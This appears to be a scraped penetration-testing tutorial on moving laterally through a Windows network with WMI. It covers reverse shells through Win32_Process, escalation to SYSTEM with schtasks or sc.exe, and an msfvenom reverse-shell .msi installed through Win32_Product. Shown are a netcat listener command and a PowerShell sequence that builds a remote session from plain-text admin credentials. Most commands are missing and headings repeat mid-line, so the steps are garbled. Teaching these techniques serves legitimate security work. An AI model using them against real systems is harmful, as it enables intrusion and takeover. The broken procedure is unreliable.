Example
Refer to the section labelled "Example scenario" to understand the setup we will be working with. The following will illustrate an example of how we can use WMI to move laterally in a network.
(1) Using Win_32_Process
Win_32_ProcessIt appears that this method does not directly provide us with a shell session as the privileged nt authority\system user immediately. We need to perform certain privilege escalation steps (with the administrator credentials) to gain a privileged shell.
For the sake of simplicity, we will assume that the machine has the netcat binary installed in C:\tools\nc64.exe.
1. Start a listener on the attacker machine
$ nc -lvnp 9999Take note of the port number used in this step
2. Create a new WMI session against our target machine (iis.test.com) and invoke the Create method from the Win32_Process class:
iis.test.com) and invoke the Create method from the Win32_Process class:This step should be performed from an "intermediary" machine in the network that we have compromised (
jmp.test.com)
a. Create WMI session:
PS C:\> $username = 'admin';
PS C:\> $password = 'pass';
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
PS C:\> $Opt = New-CimSessionOption -Protocol Dcom
PS C:\> $Session = New-CimSession -ComputerName iis.test.com -Credential $credential -SessionOption $Opt -ErrorAction Stop b. Invoke Win32_Process Create method:
Now, we should retrieve a remote shell on the listener we established previously:
Note that we have obtained a shell as the admin user, but not the highest privileged system user yet
3. Escalate privilege to the highest privileged system user (SYSTEM):
SYSTEM):3.1 Using schtasks
schtasksa. Start a listener on the attacker machine (on a separate port from the previously used one):
b. Create and start a new task as the SYSTEM user:
Now, we should receive a shell as the SYSTEM user:
3.2 Using sc.exe
sc.exe a. Start a listener on the attacker machine:
b. Create and start a new service
Now, we should receive a shell as the SYSTEM user:
(2) Using .msi packages and Win32_Product
.msi packages and Win32_Product1. Craft the reverse shell payload (msfvenom) in the .msi format
msfvenom) in the .msi formatTake note of the value passed to the
LPORToption
2. Copy the payload over to the target machine using SMB (or any other methods available):
Replace
service_exec_name>.exewith the name of the.msifile created withmsfvenom
Start the msfconsole listener (used to catch the shell in one of the later step):
3. Create a new WMI session against our target machine (iis.test.com) and invoke the Install method from the Win32_Product class:
iis.test.com) and invoke the Install method from the Win32_Product class:This step should be performed from an "intermediary" machine in the network that we have compromised (
jmp.test.com)
a. Create WMI session
Follow the steps as shown in "part (1) Using Win32_Process " above.
b. Invoke Win32_Product Install method:
After executing the above commands, we should receive a connection on the msfconsole listener we have established earlier:
Last updated